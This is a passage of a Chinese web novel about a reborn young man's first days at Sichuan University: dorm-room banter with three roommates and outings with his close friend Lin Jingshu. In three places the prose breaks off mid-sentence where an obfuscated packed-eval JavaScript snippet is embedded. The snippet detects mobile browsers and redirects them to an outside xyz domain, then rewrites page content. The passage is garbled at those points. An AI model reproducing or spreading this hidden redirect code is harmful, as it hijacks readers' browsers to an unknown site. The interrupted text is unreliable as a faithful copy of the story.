拎着行李，陈总“熟门熟路”的、找到了经济学院的报名处。 前世的他，本科虽然读了所破三本，考研却来了蜀大。 研究生三年，都在望江校区这边。 那肯定是十分熟悉的。 又一个多小时，完成报名和缴费的冗长流程后，陈总找到了自己的宿舍。 看了看门牌号，有些小惊喜。 “606！” 就挺吉利。 推门而入，陈让发现其他三个室友都到了。 经济学院在蜀大众多学院中、待遇还是挺好的。 哪怕本科阶段，安排的也是四人宿舍，而不是大多数院校的六人寝。 跟三个室友打了招呼后，陈让把行李放好，坐在了床边，开始跟室友聊天。 大学时代的室友，绝对是非常密切的关系，毕竟是长达四年的强行绑定和朝夕相处。 陈让只希望，自己这三个室友里面，千万别有奇葩。 毕竟他上辈子就遇到过一个大奇葩。 该君姓谁名谁、陈总早忘了，只记得有个雅号叫“鸡哥”。 “鸡哥”奇葩到什么程度呢？ 大学四年，他洗澡的次数，一只手都数的完，床单更是一次没换过。 实在受不了味儿，叫他洗澡吧，“鸡哥”还不乐意，很生气的说洗澡伤元气。 交谈一阵后，陈总大概摸清楚了自己三个室友的情况。 杨少杰，达州人，很瘦，戴着副高度近视眼镜，斯斯文文的样子。 薛文彬，广东人，也是606宿舍唯一外地的。 小伙子长得很帅气，无论形象还是气质，都挺像顾惜朝，不过没有“榜眼哥”那么帅，算是顾大校草的mini版本吧。 这两人，陈总看着都还算顺眼，目测是奇葩的概率不大。 第三个室友是个话痨。 这家伙名叫王子聪，跟过几年就会声名大噪的那位“王少爷”，就只差一个字。 一看就是个富二代，浑身名牌，踩着双限量版的飞人一代。 他也是第一个自我介绍的，介绍时还专门强调了，他爸是做大生意的，来经济学院嘛，是为了学习优秀的管理经验，毕业后好更好的管理家族产业。 逼味儿不是一般的足。 介绍完自己后，王子聪看向陈让等人： “哥几个，都说说啊，你们怎么会选经济学院——尤其是你，薛文彬，你个广东佬，干嘛不去中大，是没考上，还是觉得咸水鸭不香，想试试我们蜀省的火锅？” 薛文彬支吾半天才给出原因。 他高考成绩挺好，上中大完全没问题，选川大是听说川渝最古多美人——毕竟出过花蕊夫人和杨贵妃，哦、还有大才女卓文君。 总之在薛同学眼中，川渝妹子都是温柔又贤惠的。 他来蜀省读大学，有个重要原因，就是找个川渝妹子做老婆。 听他说完，其他三人都没憋住，笑得一个比一个大声。 尤其王子聪，“库库库”的，伴随肩膀不住抽搐。 薛同学表情变得很der，搞不通室友们为什么发笑。 陈让先开口：“靓仔，那你肯定失算了，川渝自古多美人不错，但是川渝的美人儿，大部分可跟温柔甜美不沾边。” 薛同学皱眉：“不可能吧？！” 王子聪接过话茬儿：“靓仔，那我问你啊，知道咱们蜀省，哪座山最高么？” “青城？” “不是。” “峨眉？” “不对。” “四姑娘山？” “还是错了哦。” 在薛文彬表示实在猜不出来后，其他三人异口同声。 “靓仔，我们蜀省最大的山，名叫‘老子蜀道山’！” 这里就出现交流障碍了。 薛同学压根就听不懂。 忍俊一笑后，陈让接着开口： “靓仔，以后你如果真找了个川渝老婆，你就会知道‘老子蜀道山’到底有多高了。” “顺便再给你科普下，咱们川渝地区最顶级奢侈品牌，叫‘巴黎瑰儿卡姿兰’。” 薛文彬还是听不懂。 王子聪和杨少杰，则都笑得“库库库”。 “巴黎瑰儿卡姿兰”到底什么意思？ 用最纯正的四川话读几遍就懂了。 “把你龟儿胩撕烂！” 揉了揉有些发疼的腮帮子，陈让扯回正经话题： “哥几个，咱也别‘靓仔’、‘同学’的叫了，多生分，报一下出生年月，咱们排下座次。” 四人分明报了出生年月。 结果陈让是最小的。 王子聪倒数第二，杨少杰最大，然后是薛文彬。 没什么存在感的杨少杰嘿嘿一笑：“哈哈……我是老大？” 薛文彬苦着脸：“我是老-二？这也太难听了吧。” 陈让思索一阵：“老大什么的，总觉得像在搞社团，老-二就更离谱了，怎么都像是在骂人，咱606干脆直接从老三开始排吧。张老三、薛老四、王老五，还有我陈老六……” 陈总这个提议，很快得到了所有室友的认同。 此时王子聪却是悚然一惊。 聊着聊着，怎么感觉陈让这家伙、莫名其妙就成了主咖？ 王大少这么喜欢装逼的人，哪可能允许被除了有些小帅、其他方面怎么看都平平无奇的某人压一头呢？ 他目光落到陈让身上，带着些审视：“六子，你也介绍介绍自己啊——” 杨少杰和薛文彬，也都看向陈让。 两人这才发现，聊到现在，除了姓名和年龄，陈让竟是一点关于自己的其他信息都没露出来。 陈总反问王子聪：“介绍啥？” 王大少瘪瘪嘴：“特长和爱好啊。” “我的特长，就是该长的地方特别长，至于爱好——”陈让挑了挑眉，“我喜欢做生意，尤其是做大生意。” “噗，陈六子，**好不要脸！” 王子聪先是翻白眼，然后蓦地反应了过来。 他刚才装逼时，可是专门强调了、他爸是做大生意的。 “靠，古龙说得对，只有取错的名字，没有叫错的外号，陈六子你真她妈是条老六，第一天见面就占我便宜！” 陈总表情很无辜：“王老五，谁占你便宜了啊，哦，你爸是做生意的，就不允许我做生意了？哪有这样的道理！” 王子聪：“……” 杨少杰和薛文彬，都笑得很开心。 该！ 谁让王子聪这家伙，刚才一直在那装尬逼呢，就得陈让这种人来治他！ 话说回来—— 宿舍有王子聪这样的“明骚”、陈让这样的“暗贱”。 往后四年的大学生活，应该会很有趣。 在有些洁癖的精致男孩薛文彬号召下，哥几个开始收拾宿舍。 半小时后，总算像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“懂懂懂，是我该感谢哥几个，能够降尊纡贵、给卑微的小王一个机会请吃饭……” 王子聪嘿嘿一笑后，再次看向陈让。 “六子，到了你啊，你的理想是什么？” 他总觉着吧，自己这个贱兮兮的室友，跟其他同龄人不一样。 哪里不一样，却又说不出来。 古怪感觉驱使下，他对陈让、好奇心格外的重。 “我是有些小想法，不过跟哥几个的宏图大业一比，完全不值一提。” 陈总哪有那个闲情雅致、跟几个“小破孩”谈理想。 他选择了糊弄、以及转移话题。 “我说哥几个，咱们先不聊理想了吧，整点男人该聊的。” 三位室友都有些懵。 男人不就该聊理想谈抱负？ 陈让挑了挑眉：“我觉得，今天新生报名处，那两个负责接待的学姐挺好看的，皮肤超白！” 杨少杰下意识的说：“别说，是挺白的——” 薛文彬接过话茬儿：“其实卖校园卡的那个学姐也好看啊，胸好翘，起码36D!” 陈让眉头终于舒展。 舒服，对味！ 这才是他妈男生宿舍。 不聊妹子聊理想？ 就不是正经男生宿舍该干的事儿！ 第65章 学神少女的烦恼 第六十五章学神少女的烦恼 陈让把话题从理想扯到妹子后，薛文彬和杨少杰都来劲了，小嘴叭叭不停。 王子聪突然抬头，四十五度仰望并不存在的天空，眼中满是明媚的哀伤。 室友们终于注意到自己后，王大少嘴里蹦出三个字。 “呵，女人！” 陈总来了兴致：“哟，王老五，有故事？” 王大少点头：“咳，当年少不更事，确实有些还算唏嘘的往事。” 然后眼巴巴等着陈让接茬儿。 陈总却没搭理他。 用膝盖想都知道，这货接下来肯定要装逼了。 陈让就不接茬儿，准备难受死他。 薛文彬跟杨少杰却憋不住了，嚷嚷着叫王子聪快点讲。 王子聪却是摇头，说哥几个、要我讲可以，但你们得允许我抽一支烟。 杨少杰首先表示自己没意见，还叫王子聪也给他发一根。 薛文彬肯定是不抽烟的，却也点点头，说你俩想抽就抽呗。 其实比较讨厌烟味的，但他更想吃瓜啊！ 陈让直接起身、打开了宿舍的所有窗户。 他也不抽烟，但是对烟民没有歧视。 讲道理—— 往后数十几二十年，东大的航母、五代机和055大驱，可都要靠烟民们做贡献呢。 于是王大少摸出根软华子点燃，娓娓说起了从前。 在这家伙的描述中，他这荒唐又不羁的一生，总共跟四个妹子有过纠缠。 第一个是青梅竹马，颜值超高，女神类型，小时候过家家私定了终生，后来女孩搬家了，直到十来年后才再次相遇，重燃了情愫。 第二个是他远方表妹，性格泼辣，敢爱敢恨，小时候两人闹别扭，他曾狠狠咬了人家小姑娘一口，就因为这一口，小姑娘赖上他了…… 第三个妹子是他家保姆的女儿，年纪比他小，今年才十七岁，温-软呆萌，开口闭口都叫他大少爷，咬定了非他不嫁。 第四个姑娘算是天降，是他爸爸死对头的女儿，颜值跟第一个青梅竹马相差仿佛，就是脾气不怎么好，是个刁蛮任性的大小姐，值得一提，他还摸过这个姑娘的脚…… 杨少杰跟薛文彬两人、都听的一愣一愣。 王子聪这么牛逼的？ 才十八岁，就有这么坎坷的情史？ 两人都母胎单身，看着王大少的眼神，立马充满崇拜。 别说他俩，连陈总都给震撼到了！ 三人都跟王子聪竖起大拇指，连声说“牛逼牛逼”。 王子聪表情立马嘚瑟，继续说起他跌宕起伏的感情生涯。 如果前面的故事，还有些基本逻辑，那么后面就开始离谱他妈给离谱开门了。 譬如第一个妹子，他居然说人家在峨眉山当尼姑。 第二个远方表妹更离谱——喜欢养毒蜘蛛，然后还没第一个妹子杀害了——虽然是假死。 第三个妹子本身不离奇，但她妈妈居然来土耳其，到他家当保姆前，是当地一个大型民间组织的二号人物。 第四个妹子最牛逼，成吉思汗的后人，有着黄金家族血统…… 杨少杰咕哝：“王老五，**吹牛逼的吧，老子怎么越听越觉得有种既视感？” 薛同学点头。 他也觉得莫名熟悉。 陈总最先反应过来，一语道破天机。 “妈的，王老五讲的是《倚天屠龙记》，哥几个，这次我真忍不了，扁他啊！” 仨室友同仇敌忾、把王子聪按在床上一顿爆锤。 王大少连连告饶，却还是被锤得很惨。 这般打闹后，60**个成员，感情倒是拉近不少。 “咳，我承认，我刚才是有一点吹逼的成分，但我真谈过好几次恋爱啊，对于怎么追妹子，有着丰富又深刻的经验。” 王子聪依旧在死鸭-子嘴硬。 “哥几个以后有什么感情问题，都可以问我的，哥们儿知无不言、言无不尽！” “切——” 陈让等三人，自是嗤之以鼻。 心想你这货都拿《倚天屠龙记》来编故事了，指不定也是个母胎单身！ 一念至此，陈总倒是疑惑。 以王子聪的家庭条件，谈个恋爱还不简单？ 随便发动点钞能力，都有的是妹子投怀送抱。 要他真是个母胎单身，这小子浮夸外表掩饰下、未必还是个纯爱流选手…… 所以自己其实是进入平行世界了，王子聪压根就是“小王”？ 讲道理，“小王”在成为国民老公前，还真是个纯爱选手，曾在论坛为了头野鸡舌战群雄，后来知道真相才道心崩坏，滑向另一个极端的。 当然—— 平行世界什么的，肯定是扯犊子，王子聪也跟“小王”毫无关联。 除了名字像，年龄、籍贯、样貌，没一个对得上的。 “爱信不信啊——”王子聪挑眉后发问，“你们仨呢，都谈过恋爱没？” “谈过，我们班一个女生主动追的我，不过后来我觉得谈恋爱影响学习，就跟她分手了。” “学好整三年，学坏一出溜”。 杨少杰第一个接话，居然也学着王大少装尬逼。 陈总看向薛文彬，心想你小子要也装犊子，那这天就没法聊了。 薛同学摸了摸后脑勺，有些不好意思的说，虽然我没谈过恋爱，但是高中时，也有两个女生追过我，不过都不是我喜欢的类型…… 陈让：“……” 你们仨都他妈人才！ 装起尬逼来，一个比一个六，难怪能住六零六。 王子聪继续开口：“六子，你呢，一直不说话，看来咱们宿舍，就你没谈过恋爱、也没女生追过你吧！” 陈总没跟着装尬逼。 说自己这辈子是没谈过恋爱，也没女生真追过自己。 都大实话。 上辈子“过尽千帆皆不是”那是上辈子，跟这辈子有什么关系。 高中班上肖茜等女生，的确对他有好感，却也没谁真的追他。 至于林静姝——好朋友之间的事，能叫谈恋爱么？ 仨室友立马挺起腰杆。 陈让一米八三的个子，暑假健身俩月后，还拥有了六块腹肌。 至于样貌—— 夏灵珊说他长得自己偶像周渝民。 林静姝这样的史诗级白富美，标准那么严格，刚认识还没有“好朋友滤镜”时，也说过他长得还算顺眼。 陈让居然是个母胎单身…… 暗自比较后、觉得自己身材颜值都不如陈让的室友们，优越感不就嗷嗷上来啦？ 孟夫子曾经曰过，“人之患在好为人师”。 王子聪甚至开始给陈总讲课。 “六子，你小子的颜值身材、虽说比不上我，但是压杨老三跟薛老四还是没问题的，也算个可造之材……其实追妹子很简单，哥们儿我就教你几招吧。” 看着浑身都是逼味儿的王大少，陈让决定满足他，作洗耳恭听状。 杨少杰跟薛文彬，也都竖起耳朵。 看得出来——王子聪先前一通装逼，还是有些把这俩人唬住的。 清清嗓子，王大少开始比手指： “第一，俗话说‘好女怕缠’，碰到喜欢的女孩子，就不能要脸，要死缠烂打，要穷追不舍，更要嘘寒问暖，譬如每天给她发早安、晚安，核心目的，就是要让她习惯你的存在！” “第二，要舍得花钱！没事儿就请吃饭，碰到节假日就送礼物，女孩子只要肯花你的钱，哥们儿你就成功一大半了！” “第三，这个就比较细节了，只有我这种恋爱达人才懂。如果正面强攻不行，那咱们就得采取迂回战略，譬如可以从讨好这个女孩子的闺蜜开始嘛……” 陈让：“……” 看这小子装的人五人六，还真以为真有点东西。 结果、就这？ 这不典型舔狗文学么！ 槽点太多，以至于陈总想吐槽都不知道从哪儿开始。 再看杨少杰和薛文彬——俩货不知道什么时候拿出了纸笔，居然在做笔记。 “……” 陈总算是明白了。 自己这仨室友，都尼玛嘴炮王者。 三条棒槌加起来，能不能凑出一个女朋友，怕都有待商榷。 王子聪还在毫无逼数的做总结： “哦，哥们儿再补充最后一点，女孩子都矜持，咱们男的就不能端着了，一定要主动出击，不然呢，总不能指望女孩子主动约你吃饭吧？” 这种让人生理反胃的“舔狗文学”，陈总肯定没兴致再听。 恰好有消息来。 陈让摸出手机开始回复。 拢共有三个人给他发消息。 第一个是夏灵珊。 夏同学并没有听陈总建议，回宿舍后补个觉做白日梦。 而是借了室友的手机，给陈让发短信——她自己的号码早被陈让拉黑了，一直没放出来。 夏同学说自己在寝室好无聊，想坐校车到本校区，跟陈让一起吃晚饭。 陈总给她的回复很简短：“吃饭？不好意思，我戒了。” 第二个是刚认识的赵兰蕤。 赵大美女给他发QQ消息，问他报名还算顺利么，马上也饭点了，要不要一起去食堂吃个饭。 陈总委婉拒绝了。 第三个是某位学神少女，就只有三个字。 “我饿了。” “呦呦同学，你妈妈呢，没陪你吃晚饭？” “富贵同学，妈妈陪我报完名后就走了，她下午在上海还有个会……我已经在宿舍坐了整个下午。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528492|170784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “额……那你为什么不给我发消息或者打电话？” “你不是说过，你今天白天会很忙，要五六点钟才有空么。我取了个中间值，一直捱到五点半，才给你发消息的。” “……” 陈让心里又是抑制不住的酥-麻。 “林呦呦，那你收拾收拾，十分钟后我到经济学院女生宿舍楼下接你，然后带你这位地主家大小姐，感受感受蜀大的食堂。” “好！” 林静姝秒回。 过一会儿，又加上了她标志性的“微笑三连击”。 见陈让一直在打字，王子聪不乐意了。 “六子，你有点不尊重我啊，我这掏心掏肺给你灌输撩妹经验呢，你怎么不认真听讲？” 当“老师”的，最烦就是“学生”上课走神。 陈让认真解释。 “我这不有点事么。” “啥事？” “有人约我吃饭。” “男的女的？” “女的，三个，不过我拒绝了前两个，现在准备去找第三个。” 陈让说完，跟王大少拱拱手，说了声“感谢传道受业、鄙人受益匪浅”后，出门而去。 王子聪表情很der：“陈六子刚才说啥？” 杨少杰回忆了一下：“老五，六子说……刚才有三个妹子约他吃饭，然后他拒绝了两个，现在去找第三个。” “靠——”王子聪瘪嘴，“这小子故意拆我台吧！就他这种母胎单身选手，会有妹子主动约他吃饭，还尼玛三个？这小子吹牛不打草稿的哟！” 这话得到了杨少杰跟薛文彬的附和。 于是王大少继续蛐蛐。 “嗨，六子也真是，大家以后都哥们儿了，那么好面子干嘛？他QQ上哪怕一个妹子都没有，咱们也不至于嘲笑他吧。” 杨少杰接茬儿：“噗……那我还是要嘲笑一下的。得low到什么程度，QQ列表才会一个女生都没有啊？” 本来已经打开手机QQ的薛文彬，闻言默默点了熄屏。 …… 经济学院女生宿舍，林静姝所在寝室。 其他三个女孩都在聊天，她没能参与进去。 不知道怎么参与。 三个是有也没哪个主动跟她搭话。 学神少女明显感觉得到、她这三个室友，应该是不太喜欢她的。 看她的眼神，疏离中又带着敬畏。 中间的缘由，她肯定想不明白。 就很烦。 入学第一天，就莫名其妙被室友们排挤，学神少女很不愉悦。 整个下午，鹅蛋脸都绷得很紧。 直到陈让回了她的消息，且十分钟后就要宿舍楼下接她后，唇角才略略动了动，有了些微表情。 很快下床，清水洗脸，然后挎上普拉达小包包出门。 林静姝走后，同样觉得很压抑的三个室友，纷纷吐了口浊气。 开始讨论她。 “她叫林静姝吧……好好听的名字。你们说……世界上怎么会有这么漂亮的人？说她是仙女我也信。” “何止是漂亮，她家里也不知道多有钱，看她出门时那身行头吧，香奈儿最新款的夏季连衣裙，普拉达的包包，克里斯提的鞋子……浑身都奢侈品！” “最离谱是她那个行李箱吧，我一开始都不知道什么牌子，偷偷百度才知道的，爱马仕射手座，价值三十万！” “还不止呢，我刚才去打水，听到隔壁宿舍的女生也在讨论她，她们说林静姝报名时，坐的是劳斯莱斯幻影……” “所以……咱们这是碰到传说中的豪门公主了？她这样的家室，怎么会住宿舍，不应该在外面租房，或者干脆买套房子的……只希望咱们这位大小姐，不要那么的难以相处吧，我可不想大学四年都看这位大小姐的脸色……” “我看悬，没看她整个下午都满脸高冷，一句话也不说么……这么强的气场，可想而知，平日里有多颐指气使……” 林静姝很快走到宿舍楼下，视野逡巡，没发现陈让，她站在原地等待。 颜值高到她这种程度，走到哪里都会是一道靓丽的风景线。 譬如此刻，便有许多路人，目光落在她身上，眼中满是惊艳。 许多人盯着自己看，林静姝很不自在，下意识又板起了脸，目光也变得清冷。 学神少女的微表情发生变化后，路人们不敢再看她。 气场实在太强。 直到陈让出现，林静姝脸上，才又有了微表情。 能看到自己唯一的好朋友，总是件愉悦的事。 陈让心多细，立马发现了林静姝情绪有问题。 “呦呦同学，你是遇到什么事情了吗？” 学神少女点了点头，将自己面临的困境——无来由被室友排挤——大概讲了一遍。 第66章 无聊的把戏 第六十六章无聊的把戏 陈总微微皱眉。 “阶级差距太大……的确容易出现这种情况……不过也不算什么大问题。” 林静姝的颜值、气质和家室，放在德州“超模”，其实在蜀大也“论外”。 如果不是她爸妈婚变，她妈一怒之下，从上海把她转到了老家德州上学，她这样的豪门真公主，就不可能出现在德中或者蜀大。 “陈让，那我该怎么办？” “首先得多笑，你老板着脸，高冷的鸭批，谁看着不怵，咱们要做的第一步……” 陈让摸着下巴，表情变得揶揄。 “妞，先给大爷笑一个！” “好吖。” 林静姝在陈让面前又没有包袱。 都不需要想开心的事，就能笑得很开心。 或者说，能看到陈让这件事本身、就足够让她愉悦。 这一笑——细长睫毛上挑，眼瞳中的清冷逐渐换成明丽，露出两排齐整贝齿。 何止甜的批爆，简直甜的批爆。 “这就对了嘛，笑起来这么甜的小姑娘，怎么可能有人不喜欢你。” “真的？” “保真。” “陈让，我们是同龄人，你为什么总喜欢叫我小姑娘？” “呦呦同学，不早跟你说了，虽然我们生理年纪都十八岁，但我这人比较成熟，心理年纪都快四十岁了，而你又比较幼稚，心理年纪也就八岁，这么一算，我当你爸爸都可以的，叫你小姑娘怎么啦！” “富贵同学，我也早跟你说过了，我已经有爸爸了，并不需要再多一个爸爸！” 这话陈总没接茬儿。 心里却在想，呵呵哒，有你想叫的时候，咱们来日方长。 此处敲黑板——不准问“方长”是谁。 吃饭就是吃饭。 蜀大的食堂，就不可能卖什么珍馐佳肴。 真论味道，还不如德州一中。 不过胜在便宜。 两荤一素的套餐，四块五毛钱一份。 有零九年物价比较低的缘故，也跟国家政策有关。 蜀大这样的部属九八五，每年食堂都会有不少国家补助。 不像那些个野鸡大学，怎么坑学生钱就怎么来。 今天是新生报名日，老生们基本都还没来。 食堂挺空，到处都是位置。 打好饭后，陈让带着林静姝，挑了个靠窗座位。 某人今天忙活了一整天，早就饿得前胸贴后背，坐下后嗷嗷一顿炫。 陈总吃饭就这操性。 不说鲸吞、那也牛饮。 或许是受了某人感染，学神少女吃得也不慢，小嘴巴油嘟嘟的，时而还会夹陈让餐盘里的东西吃。 其实都一样的套餐。 但林静姝就是觉得、陈让餐盘里的东西要更好吃。 这一幕，也不知羡煞多少旁人。 吃个饭也能这么吸引眼球，肯定跟林静姝的逆天颜值有强关联。 陈总很快听到有人蛐蛐。 “夭寿了，就是来吃个饭，也能被喂狗粮？” “这个女孩子，哪个学院的新生啊？回去我得给我妈打个电话，跟她说我碰到天仙了！” “她旁边这男的，也没有很帅啊，这两人根本就不般配嘛！” “靠，一朵鲜花插尼玛牛粪上！” 听着这些，某人报复心一下拉满。 “林静姝，给你个机会、讨好一下你的好朋友，喂我！” “好吖！” 某位学神少女非常听话。 从自己餐盘中夹了片半透明状的回锅肉，塞进某人嘴巴。 陈让故意嚼得吭哧吭哧，表情嘚瑟、炫耀式环绕一周。 周围人群，百分之九十多都没抗住，直接道心崩坏。 便有一小撮道心格外坚定的，也没挡下接下来一幕——林静姝喂完陈让后，自己筷子还有些残留油珠、大概率还有某人口水。 众目睽睽之下，她把筷子塞进自己红润润的嘴巴，轻轻嘬了一下。 那几个道心十分坚定的家伙，脑海中仿佛都出现了一个声音。 “同学，我叫林静姝，是你的破壁人！” 吃完饭，日色向晚，天已黄昏。 学神少女还不想回宿舍，于是陈总带她去逛学校外面的步行街。 陈让自是熟门熟路。 他在前、林静姝在后。 走没两步，某位大校花不走了。 钉在原地，比着眸子。 陈总想了想，明白了缘由。 “呦呦同学，要牵？” “富贵同学，变聪明了吖！” 林静姝瞬间愉悦，桃花眼中波纹流转、悄然流媚。 她伸出了手。 陈总只得牵着。 两人并肩而行，又走几步就变成了十指相扣。 跟林静姝牵手，是不是有违“男女授受不亲”的祖训？ 这个陈总是有话说的——违不了一点！ 好朋友自古就可以牵手。 诗经有云：“惠而好我，携手同行！” 宋代李公麟《会友图卷》中、可见知交好友执手谈笑。 小说《三国演义》里，亦有刘关张桃园结义、执手共誓的详细描述！ 两人走到步行街，已是傍晚。 太阳将将西沉，路灯恰恰点亮。 橘黄灯光撒到林大美人身上后，给她镀上了一层朦胧又唯美的滤镜。 “月下观君子，灯下看美人。” 陈总一直盯着林静姝的侧脸。 好看，爱看！ 羞怯之下，林静姝瞪了某人一眼。 某人毫不收敛。 学神少女无可奈何。 毕竟某人诡辩能力太强。 不让他看，他百分百是这样的说辞。 “你这么漂亮、我不看你岂不是不尊重你？” “我一直看你，那是我一直尊重你！” 走到一家超市前，林静姝走不动道了。 她指着路边摆着的、几个闪耀七彩光环的摇摇车，桃花眼中满是跃跃欲试。 “干嘛？” “陈让，我还想跟你坐这个！” “不行，绝对不行！” 陈总坚定拒绝。 第一，自己一米八好几的大高个、坐摇摇车百分百会像上次那样、被老板骂。 第二，上次坐摇摇车是在文庙，又没人认识自己，偶像包袱不要也就不要了。 现在却在大学外面的步行街。 周围这么多校友看着，自诩“昂藏七尺、大好男儿”的陈总，拉不下这个脸。 林静姝罕有的跟陈让犟嘴：“富贵同学，求求了，我真的想再跟你坐这个。” 陈总挑了挑眉，决定给她洗个脑。 “林呦呦，我们首先弄清楚一个问题，到底是谁想坐摇摇车？” “我！” “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528493|170784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是谁？” “陈让，你是不是傻，我林静姝。” “不对，名字只是代号，你可以叫林静姝，我也可以，把代号拿掉呢，你到底是谁？” “唔……我不知道，我脑壳突然有点痛。” “那我再问你，我又是谁？” “陈让……” “都跟你说了、名字只是代号……” “我脑壳真的开始痛了，富贵同学，你说得对，我现在一点都不想坐摇摇车。” 洗脑完毕后，陈总带着林静姝进了超市。 开始采购。 主要是零食。 什么贵陈总就选什么，很快装了个大口袋。 “陈让，你不一直轻断食的么，怎么突然买这么多零食？” “给你买的。” “我也吃不了这么多。” “没让你都吃，拿回去分给你的室友们——所谓‘**嘴短’，我就不信了，她们吃了你的东西，还能排挤你。” “唔——要是她们不吃呢？” “概率很小……这样，你给她们零食时，要不知道怎么说话，你就笑。相信我，人类对美的欣赏存在共性，无论男女，这世上没人会不喜欢甜妹。” “陈让……我是甜妹吗？” “必须的，你连呼吸都是甜的，笑起来就更甜了，像橘子味道的棒棒糖。” “富贵同学，我超喜欢你说的好听话，这边建议你多说一点。” “又学我说话——林呦呦，你就不能用你自己的语言库吗？” “好吧——陈让，你对我真好，你是个好人。” “……” 两人出了超市，慢悠悠往学校里走。 傍晚的蜀大校园，到处都散发着荷尔蒙的气息。 凉椅上、小湖边、树林中，都有许多年轻情侣在拥抱和接吻。 月色怡人。 草丛中亦有很多萤火虫在求偶。 陈让提着大包小包零食，没再跟林静姝手牵手。 两人一前一后的走。 某人偶尔回头，首先看到的、便是月色下林大校花娇艳欲滴的唇。 陈总突然感觉、自己嘴巴很干。 但是接吻什么的，他肯定是不敢的。 某位女士要知道了，不得“安得倚天抽宝剑”、化身灭绝师太，斩下他的狗头？ 甚至更进一步，“把汝裁为三截”！ 不过在周围浓郁荷尔蒙气息刺激下，某人有了个骚想法。 走着走着就突然停下。 林静姝猝不及防。 因为惯性、整个人都撞在陈让后背。 触感真的不谈了，很Duang很Q弹。 一路上、某个狗比重复了这个骚操作好几遍。 换其他女孩子铁定生气，林静姝没有，反而每次都跟陈让道歉。 “对不起，富贵同学，我不是故意撞你的！” 陈总就很舒服。 觉得自己**是个小机灵鬼。 到了经济学院女生宿舍楼下，陈让把零食递给林静姝，挥手跟她告别。 陈让走后，林静姝却是低头，看着自己愈发挺翘的胸。 “这个家伙……为什么会玩这种无聊的把戏，想碰我这里？” “真的想摸，他可以直接跟我说的呀。” “哼，难道在他眼中，我是个很小气的人吗？！” 林大美人越想越气愤，觉得某人不尊重她和他之间的友谊！ 第68章 人情练达 第六十八章人情练达 第二天依旧是新生报名日。 不过老生们也开始返校。 安静差不多俩月的蜀大校园，仿佛湖水中投入许多石子，再次变得喧嚣热闹。 一大早，六零六除陈让外、其他哥仨便起来了，满脸兴奋出门逛学校。 陈总到蜀大本校区就跟回家似的，什么犄角旮旯上辈子没逛过，自然不可能跟着去。 要他昨晚没有成功立棍，室友们肯定会蛐蛐，说他不合群，但他都把龙头棍立起来了，这种情况自不可能发生。 甚至其他哥仨起床洗漱时，见他还在睡，都不敢发出太大的磕碰。 陈让睡到差不多中午才起床，陪林静姝去食堂“甜蜜双排”后，把林静姝送回了宿舍，自己拐去了校门口、一家名叫“一网打尽”的网吧。 林静姝本来是要跟着一起的，陈总没同意。 这年头的网吧可还没有禁烟，带她这么个娇滴滴的大美人儿去烟雾缭绕的网吧——陈总觉得这是在犯罪。 至于他为什么要去网吧——忙正事儿。 陈让开了台机子后，登入蜀大校园论坛，发了个招聘帖。 是的，陈总打算正式捣鼓自己的网站了。 他上辈子也是互联网赛道的，却不是小马哥、雷布斯这种本身就懂技术的行业大牛，而是个只知道测投流、扣算法的投机商人。 技术层面嘛，举例说明—— 你要问陈总什么叫“程序构架优化”，陈总只会很严肃告诉你，“程序构架优化”就是“优化程序构架”。 说人话就是懂不了一点。 不过没所谓，自己不懂可以找人做。 暑假时忙的脚不沾地，攒了一千五百个达不溜，可不就是拿来花的。 蜀大有自己的计科学院，比不上隔壁术业有专攻的电子科大，却也没差到哪儿去——肯定有相关方面的人才。 譬如大四阶段想找实习机会的应届毕业生，或者想找点外水研究生。 登入校园论坛计科学院版块后，陈让发了个招聘帖，写清楚相关要求。 发完招聘帖，陈让下机回了宿舍。 整个下午都无所事事，睡了午觉后，干脆拉着室友们斗了会儿地主，然后小赢了一百多块钱，就挺舒服。 晚饭依旧陪林静姝在食堂吃。 然后两个好朋友手拉手，把蜀大本校区仔细逛了一遍。 中间的过程，也不知道碰到了多少对情侣。 陈总就很烦。 都尼玛恋爱脑，有这你侬我侬的功夫，为什么不去自习室刷几道题。 祖国都还没实现四个现代化，诸君可是祖国的栋梁，为何不努力？ 蜀大堂堂西南第一九八五，大抵也是废了，偌大一个校园，随处可见谈情说爱的“狗男女”，竟容不下一对纯洁的“好朋友”。 陪林静姝逛完校园又把她送回宿舍后，已经差不多晚上十点。 回了六零六，陈让正打算洗漱睡觉，肚皮却开始咕咕叫。 “我真傻，真的。只知道谈恋爱需要消耗卡路里，没想到‘谈友爱’也需要……” 吃了晚饭后，他陪某位学神少女，逛了整整三个小时的校园。 晚饭那点能量，早就消耗完毕。 见室友们都躺在床上准备入睡，某人嗷嗷来了一嗓子。 “哥几个，走，吃宵夜！” “昂？” 其他三人都有些懵。 王子聪咕哝：“六子，太晚了吧？” 陈让白他一眼：“晚个der，不晚能叫宵夜？” “是这个道理。” 王大少被说服了，或者说他早就想出去浪一浪。 